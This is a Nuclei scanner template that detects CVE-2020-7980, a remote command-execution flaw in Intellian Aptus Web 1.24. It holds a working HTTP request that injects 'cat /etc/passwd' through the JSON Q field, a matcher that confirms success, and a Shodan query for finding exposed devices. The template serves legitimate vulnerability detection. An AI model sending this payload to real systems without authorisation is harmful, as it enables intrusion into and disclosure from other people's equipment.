id: CVE-2020-7980 info: name: Satellian Intellian Aptus Web <= 1.24 - Remote Command Execution author: ritikchaddha severity: critical description: 'Intellian Aptus Web 1.24 allows remote attackers to execute arbitrary OS commands via the Q field within JSON data to the cgi-bin/libagent.cgi URI. NOTE: a valid sid cookie for a login to the intellian default account might be needed.' remediation: | Upgrade to a patched version of Satellian Intellian Aptus Web (version > 1.24). reference: - https://nvd.nist.gov/vuln/detail/CVE-2020-7980 - https://sku11army.blogspot.com/2020/01/intellian-aptus-web-rce-intellian.html - https://github.com/Xh4H/Satellian-CVE-2020-7980 - http://packetstormsecurity.com/files/156143/Satellian-1.12-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-7980 cwe-id: CWE-78 epss-score: 0.96838 epss-percentile: 0.99609 cpe: cpe:2.3:a:intelliantech:aptus_web:1.24:*:*:*:*:*:*:* metadata: max-request: 1 vendor: intelliantech product: aptus_web shodan-query: http.title:"Intellian Aptus Web" tags: cve,cve2020,intellian,aptus,packetstorm,satellian,rce http: - raw: - | POST /cgi-bin/libagent.cgi?type=J HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Cookie: ctr_t=0; sid=123456789 {"O_": "A", "F_": "EXEC_CMD", "S_": 123456789, "P1_": {"Q": "cat /etc/passwd", "F": "EXEC_CMD"}, "V_": 1} host-redirects: true max-redirects: 2 matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4a0a00473045022038a6b8fcff90af8f1ab5bbe109b26be401bdbab57a6860a294d2a508a2da79fa022100e44ba611c557bdec8f14082592d7b439ffeb6bd8256ebb5c1500288804d00734:922c64590222798bb761d5b6d8e72950